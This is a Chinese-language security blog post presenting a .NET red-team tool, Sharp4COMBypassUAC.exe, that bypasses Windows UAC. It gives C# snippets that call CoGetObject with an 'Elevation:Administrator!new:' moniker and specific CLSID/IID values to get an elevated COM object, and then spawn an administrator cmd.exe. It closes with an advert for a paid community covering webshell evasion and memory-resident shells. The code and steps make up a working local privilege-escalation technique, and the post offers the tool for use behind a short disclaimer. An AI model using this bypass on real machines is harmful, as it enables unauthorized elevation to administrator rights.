.NET 一款通过COM接口绕过UAC的工具
01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4COMBypassUAC.exe 是一款红队渗透工具,用于在 Windows 64位操作系统内网环境中绕过UAC,直接提升到管理员权限并启动一个新的高权限命令行窗口 cmd.exe。
03使用方法
本工具的基本用法非常简单,只需双击运行即可触发 UAC 绕过过程,从而弹出一个以管理员身份启动的 cmd.exe 进程。
04原理解析
本工具的核心在于调用 Windows 系统中的 CoGetObject API 创建一个特权提升的 COM 对象实例。以下是实现步骤及原理的详细分析,首先定义了两个 GUID
Guid clsid = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7"); // 代表 COM 类的 CLSID
Guid interfaceID = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"); // 代表接口的 IID
随后,通过 CoGetObject 函数来创建的实例并实现 UAC 绕过,pszName 通过 Elevation:Administrator!new: 前缀和 CLSID 的字符串形式组合,表示创建 COM 对象时需要管理员权限。
string str = Clsid.ToString("B");
string pszName = "Elevation:Administrator!new:" + str;
BypassUAC_csharp.BIND_OPTS3 bind_OPTS = default(BypassUAC_csharp.BIND_OPTS3);
bind_OPTS.cbStruct = (uint)Marshal.SizeOf(bind_OPTS);
bind_OPTS.hwnd = IntPtr.Zero;
bind_OPTS.dwClassContext = 4U;
return BypassUAC_csharp.CoGetObject(pszName, ref bind_OPTS, InterfaceID);
上述代码中,BIND_OPTS3 结构用于配置 COM 绑定选项,dwClassContext 设置为 CLSCTX_LOCAL_SERVER 值 4U,意味着通过本地服务器创建对象。
随后,工具调用 ShellExec 方法,启动了管理员权限的 cmd.exe进程,具体代码如下所示。
Util.ShellExec("C:\\windows\\system32\\cmd.exe", null, null, 0UL, 5UL);
综上,Sharp4COMBypassUAC.exe 属于高级红队渗透工具,常用于内网渗透活动中的本地权限提升操作。
05.NET安全知识库
星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。